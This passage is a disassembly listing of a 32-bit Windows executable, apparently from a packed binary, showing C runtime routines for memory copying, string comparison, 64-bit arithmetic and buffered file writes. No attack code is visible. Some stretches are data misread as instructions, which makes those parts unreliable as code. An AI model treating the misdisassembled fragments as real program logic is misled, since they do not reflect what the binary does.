[esp+1Ch+arg_4] jz short loc_41D2B0 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D2AE push 101h mov eax, [ebx+esi*4+8] call sub_41D2EA call dword ptr [ebx+esi*4+8] loc_41D2AE: ; CODE XREF: sub_41D256+44j jmp short loc_41D273 ; --------------------------------------------------------------------------- loc_41D2B0: ; CODE XREF: sub_41D256+2Aj ; sub_41D256+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D256 endp ; =============== S U B R O U T I N E ======================================= sub_41D2BE proc near ; CODE XREF: sub_4220B7+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D234 jnz short locret_41D2E0 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D2E0 mov eax, 1 locret_41D2E0: ; CODE XREF: sub_41D2BE+10j ; sub_41D2BE+1Bj retn sub_41D2BE endp ; =============== S U B R O U T I N E ======================================= sub_41D2E1 proc near ; CODE XREF: sub_422380+1Ep ; sub_422380+40p push ebx push ecx mov ebx, offset dword_44253C jmp short loc_41D2F4 sub_41D2E1 endp ; =============== S U B R O U T I N E ======================================= sub_41D2EA proc near ; CODE XREF: sub_41D256+4Fp ; sub_4233D4+78p push ebx push ecx mov ebx, offset dword_44253C mov ecx, [ebp+8] loc_41D2F4: ; CODE XREF: sub_41D2E1+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D2EA endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_41D304 proc near ; CODE XREF: sub_40CF88+5p ; sub_40D12A+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D304 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D323 proc near ; CODE XREF: sub_40D5C9+26p ; .nsp0:004263C5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B961 pop ecx retn sub_41D323 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D330 proc near ; CODE XREF: sub_40D63A+3Ap ; sub_41E3D2+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D350 cmp edi, eax jb loc_41D4C8 loc_41D350: ; CODE XREF: sub_41D330+16j test edi, 3 jnz short loc_41D36C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D38C rep movsd jmp off_41D478[edx*4] ; --------------------------------------------------------------------------- loc_41D36C: ; CODE XREF: sub_41D330+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D384 and eax, 3 add ecx, eax jmp dword ptr loc_41D38C+4[eax*4] ; --------------------------------------------------------------------------- loc_41D384: ; CODE XREF: sub_41D330+46j jmp dword ptr loc_41D488[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D38C: ; CODE XREF: sub_41D330+31j ; sub_41D330+8Ej ... jmp off_41D40C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D3A0 dd offset loc_41D3CC dd offset loc_41D3F0 ; --------------------------------------------------------------------------- loc_41D3A0: ; DATA XREF: sub_41D330+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D38C rep movsd jmp off_41D478[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D3CC: ; DATA XREF: sub_41D330+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D38C rep movsd jmp off_41D478[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D3F0: ; DATA XREF: sub_41D330+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D38C rep movsd jmp off_41D478[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D40C dd offset loc_41D46F ; DATA XREF: sub_41D330:loc_41D38Cr dd offset loc_41D45C dd offset loc_41D454 dd offset loc_41D44C dd offset loc_41D444 dd offset loc_41D43C dd offset loc_41D434 dd offset loc_41D42C ; --------------------------------------------------------------------------- loc_41D42C: ; CODE XREF: sub_41D330:loc_41D38Cj ; DATA XREF: sub_41D330+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D434: ; CODE XREF: sub_41D330:loc_41D38Cj ; DATA XREF: sub_41D330+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D43C: ; CODE XREF: sub_41D330:loc_41D38Cj ; DATA XREF: sub_41D330+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D444: ; CODE XREF: sub_41D330:loc_41D38Cj ; DATA XREF: sub_41D330+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D44C: ; CODE XREF: sub_41D330:loc_41D38Cj ; DATA XREF: sub_41D330+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D454: ; CODE XREF: sub_41D330:loc_41D38Cj ; DATA XREF: sub_41D330+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D45C: ; CODE XREF: sub_41D330:loc_41D38Cj ; DATA XREF: sub_41D330+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D46F: ; CODE XREF: sub_41D330:loc_41D38Cj ; DATA XREF: sub_41D330:off_41D40Co jmp off_41D478[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D478 dd offset loc_41D488 ; DATA XREF: sub_41D330+35r ; sub_41D330+92r ... dd offset loc_41D490 dd offset loc_41D49C dd offset loc_41D4B0 ; --------------------------------------------------------------------------- loc_41D488: ; CODE XREF: sub_41D330+35j ; sub_41D330+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D490: ; CODE XREF: sub_41D330+35j ; sub_41D330+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D49C: ; CODE XREF: sub_41D330+35j ; sub_41D330+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D4B0: ; CODE XREF: sub_41D330+35j ; sub_41D330+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D4C8: ; CODE XREF: sub_41D330+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D4FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D4F0 std rep movsd cld jmp off_41D610[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D4F0: ; CODE XREF: sub_41D330+1B1j ; sub_41D330+208j ... neg ecx jmp off_41D5C0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D4FC: ; CODE XREF: sub_41D330+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D514 and eax, 3 sub ecx, eax jmp dword ptr loc_41D514+4[eax*4] ; --------------------------------------------------------------------------- loc_41D514: ; CODE XREF: sub_41D330+1D6j ; DATA XREF: sub_41D330+1DDr jmp off_41D610[ecx*4] ; --------------------------------------------------------------------------- align 4 sub ch, dl inc ecx add [eax-2Bh], cl inc ecx add [eax-2Bh], dh inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D4F0 std rep movsd cld jmp off_41D610[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D4F0 std rep movsd cld jmp off_41D610[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D4F0 std rep movsd cld jmp off_41D610[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D5C4 dd offset loc_41D5CC dd offset loc_41D5D4 dd offset loc_41D5DC dd offset loc_41D5E4 dd offset loc_41D5EC dd offset loc_41D5F4 off_41D5C0 dd offset loc_41D607 ; DATA XREF: sub_41D330+1C2r ; --------------------------------------------------------------------------- loc_41D5C4: ; DATA XREF: sub_41D330+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D5CC: ; DATA XREF: sub_41D330+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D5D4: ; DATA XREF: sub_41D330+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D5DC: ; DATA XREF: sub_41D330+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D5E4: ; DATA XREF: sub_41D330+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D5EC: ; DATA XREF: sub_41D330+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D5F4: ; DATA XREF: sub_41D330+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D607: ; CODE XREF: sub_41D330+1C2j ; DATA XREF: sub_41D330:off_41D5C0o jmp off_41D610[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D610 dd offset loc_41D620 ; DATA XREF: sub_41D330+1B7r ; sub_41D330:loc_41D514r ... dd offset loc_41D628 dd offset loc_41D638 dd offset loc_41D64C ; --------------------------------------------------------------------------- loc_41D620: ; CODE XREF: sub_41D330+1B7j ; sub_41D330:loc_41D514j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D628: ; CODE XREF: sub_41D330+1B7j ; sub_41D330:loc_41D514j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D638: ; CODE XREF: sub_41D330+1B7j ; sub_41D330:loc_41D514j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D64C: ; CODE XREF: sub_41D330+1B7j ; sub_41D330:loc_41D514j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D330 endp ; =============== S U B R O U T I N E ======================================= sub_41D665 proc near ; CODE XREF: sub_40D6A1+34p ; sub_40D6A1+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BBDD pop ecx pop ecx retn sub_41D665 endp ; =============== S U B R O U T I N E ======================================= sub_41D673 proc near ; CODE XREF: sub_41D6E0+4p arg_0 = dword ptr 4 push esi push dword_4E2B94 call sub_422478 mov edx, dword_4E2B94 pop ecx mov ecx, dword_4E2B90 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41D6D2 push edx call sub_422478 add eax, 10h push eax push dword_4E2B94 call sub_41BA78 add esp, 0Ch test eax, eax jnz short loc_41D6B5 retn ; --------------------------------------------------------------------------- loc_41D6B5: ; CODE XREF: sub_41D673+3Fj mov ecx, dword_4E2B90 sub ecx, dword_4E2B94 mov dword_4E2B94, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4E2B90, ecx loc_41D6D2: ; CODE XREF: sub_41D673+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4E2B90, 4 retn sub_41D673 endp ; =============== S U B R O U T I N E ======================================= sub_41D6E0 proc near ; CODE XREF: sub_40D78E+1Ap ; sub_4265CE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D673 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41D6E0 endp ; =============== S U B R O U T I N E ======================================= sub_41D6F2 proc near ; DATA XREF: .nsp0:00429024o push 80h call sub_41BBCB test eax, eax pop ecx mov dword_4E2B94, eax jnz short loc_41D713 push 18h call sub_41E0F9 mov eax, dword_4E2B94 pop ecx loc_41D713: ; CODE XREF: sub_41D6F2+12j and dword ptr [eax], 0 mov eax, dword_4E2B94 mov dword_4E2B90, eax retn sub_41D6F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D721 proc near ; CODE XREF: .nsp0:0040DD86p var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_427130 ; GetLocalTime lea eax, [ebp+var_20] push eax call near ptr 0B40000h sbb eax, 0EA458B66h cmp ax, word_4E1562 jnz short loc_41D786 mov ax, [ebp+var_18] cmp ax, word_4E1560 jnz short loc_41D786 mov ax, [ebp+var_1A] cmp ax, word_4E155E jnz short loc_41D786 mov ax, [ebp+var_1E] cmp ax, word_4E155A jnz short loc_41D786 mov ax, [ebp+var_20] cmp ax, word_4E1558 jnz short loc_41D786 mov eax, dword_4E1550 jmp short loc_41D7CB ; --------------------------------------------------------------------------- loc_41D786: ; CODE XREF: sub_41D721+28j ; sub_41D721+35j ... lea eax, [ebp+var_CC] push eax call near ptr 0B40000h stosd cmp eax, 0FFFFFFFFh jz short loc_41D7B3 cmp eax, 2 jnz short loc_41D7AF cmp [ebp+var_32], 0 jz short loc_41D7AF cmp [ebp+var_24], 0 jz short loc_41D7AF push 1 pop eax jmp short loc_41D7B6 ; --------------------------------------------------------------------------- loc_41D7AF: ; CODE XREF: sub_41D721+7Aj ; sub_41D721+81j ... xor eax, eax jmp short loc_41D7B6 ; --------------------------------------------------------------------------- loc_41D7B3: ; CODE XREF: sub_41D721+75j or eax, 0FFFFFFFFh loc_41D7B6: ; CODE XREF: sub_41D721+8Cj ; sub_41D721+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_4E1558 movsd movsd movsd movsd pop edi mov dword_4E1550, eax pop esi loc_41D7CB: ; CODE XREF: sub_41D721+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_4224A1 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41D7FB mov [ecx], eax locret_41D7FB: ; CODE XREF: sub_41D721+D6j leave retn sub_41D721 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D800 proc near ; CODE XREF: .nsp0:0040DBEBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4E15A8 cmp dword ptr [eax+8], 0 jnz short loc_41D853 mov al, 0FFh mov edi, edi loc_41D81C: ; CODE XREF: sub_41D800+28j ; sub_41D800+48j or al, al jz short loc_41D84E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_41D81C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41D81C sbb al, al sbb al, 0FFh loc_41D84E: ; CODE XREF: sub_41D800+1Ej movsx eax, al jmp short loc_41D887 ; --------------------------------------------------------------------------- loc_41D853: ; CODE XREF: sub_41D800+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_41D85C: ; CODE XREF: sub_41D800+68j ; sub_41D800+80j or al, al jz short loc_41D887 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_41D85C push eax push ebx call sub_41DE1C mov ebx, eax add esp, 4 call sub_41DE1C add esp, 4 cmp bl, al jz short loc_41D85C sbb eax, eax sbb eax, 0FFFFFFFFh loc_41D887: ; CODE XREF: sub_41D800+51j ; sub_41D800+5Ej pop ebx pop esi pop edi leave retn sub_41D800 endp ; =============== S U B R O U T I N E ======================================= sub_41D88C proc near ; CODE XREF: sub_40E7D2+193p ; sub_40E7D2+1DDp arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, offset dword_442B58 push edi push esi call sub_4202AB mov edi, eax lea eax, [esp+10h+arg_4] push eax push [esp+14h+arg_0] push esi call sub_41F504 push esi push edi mov ebx, eax call sub_420338 add esp, 18h mov eax, ebx pop edi pop esi pop ebx retn sub_41D88C endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41D939 mov edi, [esp+14h] test edi, edi jz short loc_41D8DC cmp edi, 1 jz short loc_41D8DC cmp edi, 2 jnz short loc_41D939 loc_41D8DC: ; CODE XREF: .nsp0:0041D8D0j ; .nsp0:0041D8D5j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41D8F3 push esi call sub_4226B6 add [esp+14h], eax pop ecx xor edi, edi loc_41D8F3: ; CODE XREF: .nsp0:0041D8E4j push esi call sub_41E25B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41D908 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41D91C ; --------------------------------------------------------------------------- loc_41D908: ; CODE XREF: .nsp0:0041D8FFj test al, 1 jz short loc_41D91C test al, 8 jz short loc_41D91C test ah, 4 jnz short loc_41D91C mov dword ptr [esi+18h], 200h loc_41D91C: ; CODE XREF: .nsp0:0041D906j ; .nsp0:0041D90Aj ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_42261C add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41D946 ; --------------------------------------------------------------------------- loc_41D939: ; CODE XREF: .nsp0:0041D8C8j ; .nsp0:0041D8DAj mov dword_4E14F8, 16h or eax, 0FFFFFFFFh loc_41D946: ; CODE XREF: .nsp0:0041D937j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D950 proc near ; CODE XREF: sub_413107+19Ep ; sub_420375+7F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41D969 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41D969: ; CODE XREF: sub_41D950+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41D950 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D984 proc near ; CODE XREF: .nsp0:004168EEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41D9A8 xor eax, eax jmp loc_41DA75 ; --------------------------------------------------------------------------- loc_41D9A8: ; CODE XREF: sub_41D984+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41D9BB mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41D9C2 ; --------------------------------------------------------------------------- loc_41D9BB: ; CODE XREF: sub_41D984+2Dj mov [ebp+arg_C], 1000h loc_41D9C2: ; CODE XREF: sub_41D984+35j ; sub_41D984+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41D9F6 mov eax, [esi+4] test eax, eax jz short loc_41D9F6 cmp ebx, eax mov edi, ebx jb short loc_41D9DC mov edi, eax loc_41D9DC: ; CODE XREF: sub_41D984+54j push edi push [ebp+arg_0] push dword ptr [esi] call near ptr sub_41C9B0 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DA3C ; --------------------------------------------------------------------------- loc_41D9F6: ; CODE XREF: sub_41D984+47j ; sub_41D984+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DA41 test ecx, ecx jz short loc_41DA0A push esi call sub_41E25B test eax, eax pop ecx jnz short loc_41DA83 loc_41DA0A: ; CODE XREF: sub_41D984+79j cmp [ebp+arg_C], 0 jz short loc_41DA1D mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DA1F ; --------------------------------------------------------------------------- loc_41DA1D: ; CODE XREF: sub_41D984+8Aj mov edi, ebx loc_41DA1F: ; CODE XREF: sub_41D984+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_42280E add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DA7A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DA7A loc_41DA3C: ; CODE XREF: sub_41D984+70j mov edi, [ebp+var_4] jmp short loc_41DA6A ; --------------------------------------------------------------------------- loc_41DA41: ; CODE XREF: sub_41D984+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41F3EF pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DA83 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DA6A mov [ebp+arg_C], 1 loc_41DA6A: ; CODE XREF: sub_41D984+BBj ; sub_41D984+DDj test ebx, ebx jnz loc_41D9C2 mov eax, [ebp+arg_8] loc_41DA75: ; CODE XREF: sub_41D984+1Fj ; sub_41D984+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DA7A: ; CODE XREF: sub_41D984+ADj ; sub_41D984+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DA85 ; --------------------------------------------------------------------------- loc_41DA83: ; CODE XREF: sub_41D984+84j ; sub_41D984+CFj mov eax, edi loc_41DA85: ; CODE XREF: sub_41D984+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DA75 sub_41D984 endp ; =============== S U B R O U T I N E ======================================= sub_41DA8E proc near ; CODE XREF: sub_416F11+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_427098 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_41DAAE call dword_42708C ; RtlGetLastWin32Error push eax call sub_420244 pop ecx loc_41DAAA: ; CODE XREF: sub_41DA8E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DAAE: ; CODE XREF: sub_41DA8E+Dj test al, 1 jz short loc_41DACF test [esp+arg_4], 2 jz short loc_41DACF mov dword_4E14F8, 0Dh mov dword_4E14FC, 5 jmp short loc_41DAAA ; --------------------------------------------------------------------------- loc_41DACF: ; CODE XREF: sub_41DA8E+22j ; sub_41DA8E+29j xor eax, eax retn sub_41DA8E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DAE0 proc near ; CODE XREF: sub_416F2B+3Fp ; sub_41F504+5C4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DB02 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DB43 ; --------------------------------------------------------------------------- loc_41DB02: ; CODE XREF: sub_41DAE0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DB10: ; CODE XREF: sub_41DAE0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DB10 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DB3E cmp edx, [esp+8+arg_4] ja short loc_41DB3E jb short loc_41DB3F cmp eax, [esp+8+arg_0] jbe short loc_41DB3F loc_41DB3E: ; CODE XREF: sub_41DAE0+4Ej ; sub_41DAE0+54j dec esi loc_41DB3F: ; CODE XREF: sub_41DAE0+56j ; sub_41DAE0+5Cj xor edx, edx mov eax, esi loc_41DB43: ; CODE XREF: sub_41DAE0+20j pop esi pop ebx retn 10h sub_41DAE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB50 proc near ; CODE XREF: sub_416F2B+2Dp ; sub_41F504+5B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DB71 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DBC1 ; --------------------------------------------------------------------------- loc_41DB71: ; CODE XREF: sub_41DB50+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DB7F: ; CODE XREF: sub_41DB50+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DB7F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DBAA cmp edx, [esp+4+arg_4] ja short loc_41DBAA jb short loc_41DBB2 cmp eax, [esp+4+arg_0] jbe short loc_41DBB2 loc_41DBAA: ; CODE XREF: sub_41DB50+4Aj ; sub_41DB50+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DBB2: ; CODE XREF: sub_41DB50+52j ; sub_41DB50+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DBC1: ; CODE XREF: sub_41DB50+1Fj pop ebx retn 10h sub_41DB50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DBD0 proc near ; CODE XREF: sub_41703B+5Fp ; sub_41703B+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DBF1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DBF1: ; CODE XREF: sub_41DBD0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DC0D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DC0D: ; CODE XREF: sub_41DBD0+27j or eax, eax jnz short loc_41DC29 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DC6A ; --------------------------------------------------------------------------- loc_41DC29: ; CODE XREF: sub_41DBD0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DC37: ; CODE XREF: sub_41DBD0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DC37 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DC65 cmp edx, [esp+0Ch+arg_4] ja short loc_41DC65 jb short loc_41DC66 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DC66 loc_41DC65: ; CODE XREF: sub_41DBD0+85j ; sub_41DBD0+8Bj dec esi loc_41DC66: ; CODE XREF: sub_41DBD0+8Dj ; sub_41DBD0+93j xor edx, edx mov eax, esi loc_41DC6A: ; CODE XREF: sub_41DBD0+57j dec edi jnz short loc_41DC74 neg edx neg eax sbb edx, 0 loc_41DC74: ; CODE XREF: 